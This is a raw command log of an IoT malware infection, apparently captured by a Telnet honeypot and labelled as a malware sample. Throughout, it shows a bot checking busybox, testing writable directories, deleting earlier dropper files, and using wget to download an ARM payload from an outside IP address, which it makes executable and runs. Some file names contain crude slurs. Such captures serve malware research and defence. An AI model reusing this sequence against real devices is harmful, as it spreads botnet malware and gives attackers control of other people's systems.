Catched by Telnet-Iot-Honeypot

Camel_malware_sample_1

enable
shell
sh
/bin/busybox LOLKEK
/bin/busybox ps; /bin/busybox LOLKEK
/bin/busybox cat /proc/mounts; /bin/busybox LOLKEK
/bin/busybox echo -e '\x66\x75\x63\x6b/proc' > /proc/.nippon; /bin/busybox cat /proc/.nippon; /bin/busybox rm /proc/.nippon
/bin/busybox echo -e '\x66\x75\x63\x6b/sys' > /sys/.nippon; /bin/busybox cat /sys/.nippon; /bin/busybox rm /sys/.nippon
/bin/busybox echo -e '\x66\x75\x63\x6b/tmp' > /tmp/.nippon; /bin/busybox cat /tmp/.nippon; /bin/busybox rm /tmp/.nippon
/bin/busybox echo -e '\x66\x75\x63\x6b/overlay' > /overlay/.nippon; /bin/busybox cat /overlay/.nippon; /bin/busybox rm /overlay/.nippon
/bin/busybox echo -e '\x66\x75\x63\x6b' > /.nippon; /bin/busybox cat /.nippon; /bin/busybox rm /.nippon
/bin/busybox echo -e '\x66\x75\x63\x6b/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon
/bin/busybox echo -e '\x66\x75\x63\x6b/dev/pts' > /dev/pts/.nippon; /bin/busybox cat /dev/pts/.nippon; /bin/busybox rm /dev/pts/.nippon
/bin/busybox echo -e '\x66\x75\x63\x6b/sys/kernel/debug' > /sys/kernel/debug/.nippon; /bin/busybox cat /sys/kernel/debug/.nippon; /bin/busybox rm /sys/kernel/debug/.nippon
/bin/busybox echo -e '\x66\x75\x63\x6b/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon
/bin/busybox LOLKEK
rm /proc/.t; rm /proc/.sh; rm /proc/.human
rm /sys/.t; rm /sys/.sh; rm /sys/.human
rm /tmp/.t; rm /tmp/.sh; rm /tmp/.human
rm /overlay/.t; rm /overlay/.sh; rm /overlay/.human
rm  # fuck/dev/.t; rm  # fuck/dev/.sh; rm  # fuck/dev/.human
rm /dev/.t; rm /dev/.sh; rm /dev/.human
rm /dev/pts/.t; rm /dev/pts/.sh; rm /dev/pts/.human
rm /sys/kernel/debug/.t; rm /sys/kernel/debug/.sh; rm /sys/kernel/debug/.human
rm /dev/.t; rm /dev/.sh; rm /dev/.human
cd /proc/
/bin/busybox cp /bin/echo .gaynihhga; >.gaynihhga; /bin/busybox chmod 777 .gaynihhga; /bin/busybox LOLKEK
/bin/busybox cat /bin/echo
/bin/busybox LOLKEK
cat /proc/cpuinfo; /bin/busybox LOLKEK
/bin/busybox wget; /bin/busybox tftp; /bin/busybox LOLKEK
/bin/busybox wget http://212.237.11.112/arm6 -O .gaynihhga;/bin/busybox chmod 777 .gaynihhga;/bin/busybox LOLKEK
./.gaynihhga telnet.arm6;/bin/busybox KEKLOL
/bin/busybox wget; /bin/busybox tftp; /bin/busybox LOLKEK
/bin/busybox wget http://212.237.11.112/arm6 -O .gaynihhga;/bin/busybox chmod 777 .gaynihhga;/bin/busybox LOLKEK
./.gaynihhga telnet.arm6;/bin/busybox KEKLOL
rm -rf .sadkl; > .gaynihhga; /bin/busybox LOLKEK